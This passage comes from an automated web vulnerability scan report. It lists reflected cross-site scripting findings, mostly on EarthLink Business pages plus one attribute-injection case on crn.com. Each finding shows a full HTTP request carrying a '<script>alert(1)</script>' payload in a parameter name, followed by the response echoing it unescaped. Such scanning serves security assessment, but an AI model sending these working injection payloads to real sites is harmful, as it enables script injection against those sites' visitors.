This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /news/networking/e50b3"a%3d"b"08ee86f1417/one-communications-finds-a-willing-buyer-in-earthlink.htm HTTP/1.1 Host: www.crn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xh ...[SNIP]... <link rel="canonical" href="http://www.crn.com/news/networking/e50b3"a="b"08ee86f1417/one-communications-finds-a-willing-buyer-in-earthlink.htm"/> ...[SNIP]...
2.31. http://www.earthlinkbusiness.com/_apps/mpls-calculator.nen [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/_apps/mpls-calculator.nen
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb051"><script>alert(1)</script>928853db743 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /_apps/mpls-calculator.nen?fb051"><script>alert(1)</script>928853db743=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - </title> <meta name="description" content="" /> <meta name="keywords" content="Frame Relay, ATM, VPN, Managed Net ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/_apps/mpls-calculator.nen?fb051"><script>alert(1)</script>928853db743=1"> ...[SNIP]...
2.32. http://www.earthlinkbusiness.com/_apps/requestaquote.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/_apps/requestaquote.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e488"><script>alert(1)</script>e9e9eb646a4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /_apps/requestaquote.xea?1e488"><script>alert(1)</script>e9e9eb646a4=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Contact Us to Request a Quote</title> <meta name="description" content="" /> <meta name="keywords" content="Frame ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/_apps/requestaquote.xea?1e488"><script>alert(1)</script>e9e9eb646a4=1"> ...[SNIP]...
2.33. http://www.earthlinkbusiness.com/_apps/search.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/_apps/search.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9d8fc"><script>alert(1)</script>7852c53a98f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /_apps/search.php?9d8fc"><script>alert(1)</script>7852c53a98f=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Search Results</title> <meta name="description" content="" /> <meta name="keywords" content="Frame Relay, ATM, VP ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/_apps/search.php?9d8fc"><script>alert(1)</script>7852c53a98f=1"> ...[SNIP]...
2.34. http://www.earthlinkbusiness.com/about-us/community.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/about-us/community.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a12f8"><script>alert(1)</script>f2e5f0a5452 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /about-us/community.xea?a12f8"><script>alert(1)</script>f2e5f0a5452=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - EarthLink Business In the Community</title> <meta name="description" content="EarthLink takes pride in supporting ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/about-us/community.xea?a12f8"><script>alert(1)</script>f2e5f0a5452=1"> ...[SNIP]...
2.35. http://www.earthlinkbusiness.com/about-us/contact.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/about-us/contact.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a812"><script>alert(1)</script>edd634587c9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /about-us/contact.xea?2a812"><script>alert(1)</script>edd634587c9=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Contact Us</title> <meta name="description" content="Contact information for EarthLink Business" /> <meta name="k ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/about-us/contact.xea?2a812"><script>alert(1)</script>edd634587c9=1"> ...[SNIP]...
2.36. http://www.earthlinkbusiness.com/about-us/follow.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/about-us/follow.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e34ac"><script>alert(1)</script>9133844bb31 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /about-us/follow.xea?e34ac"><script>alert(1)</script>9133844bb31=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - EarthLink Business Social Media Portal</title> <meta name="description" content="Follow EarthLink Business on Face ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/about-us/follow.xea?e34ac"><script>alert(1)</script>9133844bb31=1"> ...[SNIP]...
2.37. http://www.earthlinkbusiness.com/about-us/legal/privacy-policy.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/about-us/legal/privacy-policy.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 91b66"><script>alert(1)</script>6afa2fee2c6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /about-us/legal/privacy-policy.xea?91b66"><script>alert(1)</script>6afa2fee2c6=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Privacy Policy</title> <meta name="description" content="EarthLink Business Privacy Policy" /> <meta name="keywor ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/about-us/legal/privacy-policy.xea?91b66"><script>alert(1)</script>6afa2fee2c6=1"> ...[SNIP]...
2.38. http://www.earthlinkbusiness.com/about-us/legal/website-conditions-of-use.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/about-us/legal/website-conditions-of-use.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1cc95"><script>alert(1)</script>e0a47137474 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /about-us/legal/website-conditions-of-use.xea?1cc95"><script>alert(1)</script>e0a47137474=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - EarthLink Business Website Conditions of Use</title> <meta name="description" content="EarthLink Business Website ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/about-us/legal/website-conditions-of-use.xea?1cc95"><script>alert(1)</script>e0a47137474=1"> ...[SNIP]...
2.39. http://www.earthlinkbusiness.com/about-us/locations.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/about-us/locations.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 85f88"><script>alert(1)</script>3c598a3b047 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /about-us/locations.xea?85f88"><script>alert(1)</script>3c598a3b047=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - EarthLink Business Office Locations</title> <meta name="description" content="Locate an EarthLink Business locatio ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/about-us/locations.xea?85f88"><script>alert(1)</script>3c598a3b047=1"> ...[SNIP]...
2.40. http://www.earthlinkbusiness.com/about-us/networkmap.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/about-us/networkmap.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e0c46"><script>alert(1)</script>e5f51623172 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /about-us/networkmap.xea?e0c46"><script>alert(1)</script>e5f51623172=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - EarthLink Business Interactive Network Map</title> <meta name="description" content="Take a look at the EarthLink ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/about-us/networkmap.xea?e0c46"><script>alert(1)</script>e5f51623172=1"> ...[SNIP]...
2.41. http://www.earthlinkbusiness.com/about-us/news.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/about-us/news.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 90225"><script>alert(1)</script>e738b9364d0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /about-us/news.xea?90225"><script>alert(1)</script>e738b9364d0=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - EarthLink News</title> <meta name="description" content="EarthLink Business News and Upcoming Events" /> <meta na ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/about-us/news.xea?90225"><script>alert(1)</script>e738b9364d0=1"> ...[SNIP]...
2.42. http://www.earthlinkbusiness.com/about-us/ourcustomers.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/about-us/ourcustomers.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 16cc5"><script>alert(1)</script>d9b3cb86142 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /about-us/ourcustomers.xea?16cc5"><script>alert(1)</script>d9b3cb86142=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Our Customers</title> <meta name="description" content="Browse our case study library to learn how EarthLink Busin ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/about-us/ourcustomers.xea?16cc5"><script>alert(1)</script>d9b3cb86142=1"> ...[SNIP]...
2.43. http://www.earthlinkbusiness.com/about-us/video.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/about-us/video.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e9f6a"><script>alert(1)</script>5da8d131a10 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /about-us/video.xea?e9f6a"><script>alert(1)</script>5da8d131a10=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - EarthLink Business Customer Video Testimonials</title> <meta name="description" content="" /> <meta name="keyword ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/about-us/video.xea?e9f6a"><script>alert(1)</script>5da8d131a10=1"> ...[SNIP]...
2.44. http://www.earthlinkbusiness.com/about-us/video_.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/about-us/video_.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d80e3"><script>alert(1)</script>ff55ebcb5d8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /about-us/video_.xea?d80e3"><script>alert(1)</script>ff55ebcb5d8=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - EarthLink Business Customer Video Testimonials</title> <meta name="description" content="" /> <meta name="keyword ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/about-us/video_.xea?d80e3"><script>alert(1)</script>ff55ebcb5d8=1"> ...[SNIP]...
2.45. http://www.earthlinkbusiness.com/carrier/carriervoice.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/carrier/carriervoice.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2923a"><script>alert(1)</script>00eff3ad25c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /carrier/carriervoice.xea?2923a"><script>alert(1)</script>00eff3ad25c=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Carrier Voice Termination</title> <meta name="description" content="EarthLink Carrier Voice Termination" /> <meta ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/carrier/carriervoice.xea?2923a"><script>alert(1)</script>00eff3ad25c=1"> ...[SNIP]...
2.46. http://www.earthlinkbusiness.com/carrier/dedicatedaccess.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/carrier/dedicatedaccess.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1604"><script>alert(1)</script>0fea2c33996 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /carrier/dedicatedaccess.xea?f1604"><script>alert(1)</script>0fea2c33996=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Dedicated Access</title> <meta name="description" content="EarthLink Carrier's Dedicated Access leverages our exte ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/carrier/dedicatedaccess.xea?f1604"><script>alert(1)</script>0fea2c33996=1"> ...[SNIP]...
2.47. http://www.earthlinkbusiness.com/carrier/directoryasst.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/carrier/directoryasst.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51912"><script>alert(1)</script>a382b6e5f53 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /carrier/directoryasst.xea?51912"><script>alert(1)</script>a382b6e5f53=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Directory Assistance</title> <meta name="description" content="EarthLink Carrier offers flexible, nationwide Direc ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/carrier/directoryasst.xea?51912"><script>alert(1)</script>a382b6e5f53=1"> ...[SNIP]...
2.48. http://www.earthlinkbusiness.com/carrier/metro.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/carrier/metro.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71e60"><script>alert(1)</script>5cc682eb5a2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /carrier/metro.xea?71e60"><script>alert(1)</script>5cc682eb5a2=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Metro Network Services</title> <meta name="description" content="EarthLink Carrier provides SONET-based transport ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/carrier/metro.xea?71e60"><script>alert(1)</script>5cc682eb5a2=1"> ...[SNIP]...
2.49. http://www.earthlinkbusiness.com/carrier/mux.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/carrier/mux.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1537e"><script>alert(1)</script>84b9dc0fe82 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /carrier/mux.xea?1537e"><script>alert(1)</script>84b9dc0fe82=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - MUX DS-3</title> <meta name="description" content="EarthLink Carrier provides the reliability of point-to-point, d ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/carrier/mux.xea?1537e"><script>alert(1)</script>84b9dc0fe82=1"> ...[SNIP]...
2.50. http://www.earthlinkbusiness.com/carrier/networkmap.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/carrier/networkmap.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f0de"><script>alert(1)</script>ec67e244009 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /carrier/networkmap.xea?3f0de"><script>alert(1)</script>ec67e244009=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - EarthLink Carrier Wholesale Network Map</title> <meta name="description" content="Check out our Wholesale Interact ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/carrier/networkmap.xea?3f0de"><script>alert(1)</script>ec67e244009=1"> ...[SNIP]...
2.51. http://www.earthlinkbusiness.com/carrier/operator.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/carrier/operator.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c1d21"><script>alert(1)</script>7e0df5d19ed was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /carrier/operator.xea?c1d21"><script>alert(1)</script>7e0df5d19ed=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Operator Services</title> <meta name="description" content="EarthLink Carrier provides flexible Operator Services ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/carrier/operator.xea?c1d21"><script>alert(1)</script>7e0df5d19ed=1"> ...[SNIP]...
2.52. http://www.earthlinkbusiness.com/carrier/overview.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/carrier/overview.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cf17b"><script>alert(1)</script>6bf081de7fb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /carrier/overview.xea?cf17b"><script>alert(1)</script>6bf081de7fb=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Carrier Overview</title> <meta name="description" content="EarthLink Carrier, the carrier division of EarthLink In ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/carrier/overview.xea?cf17b"><script>alert(1)</script>6bf081de7fb=1"> ...[SNIP]...
2.53. http://www.earthlinkbusiness.com/carrier/pri.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/carrier/pri.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 618f4"><script>alert(1)</script>38002e90c2c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /carrier/pri.xea?618f4"><script>alert(1)</script>38002e90c2c=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - PRI Services</title> <meta name="description" content="With EarthLink Carrier's extensive PRI coverage, including ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/carrier/pri.xea?618f4"><script>alert(1)</script>38002e90c2c=1"> ...[SNIP]...
2.54. http://www.earthlinkbusiness.com/carrier/privateline.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/carrier/privateline.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 788e7"><script>alert(1)</script>ddf729d427b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /carrier/privateline.xea?788e7"><script>alert(1)</script>ddf729d427b=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Private Line & Waves</title> <meta name="description" content="EarthLink Carrier delivers flexible Private Line, E ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/carrier/privateline.xea?788e7"><script>alert(1)</script>ddf729d427b=1"> ...[SNIP]...
2.55. http://www.earthlinkbusiness.com/carrier/sip.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/carrier/sip.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b642d"><script>alert(1)</script>8dd15ec87a7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
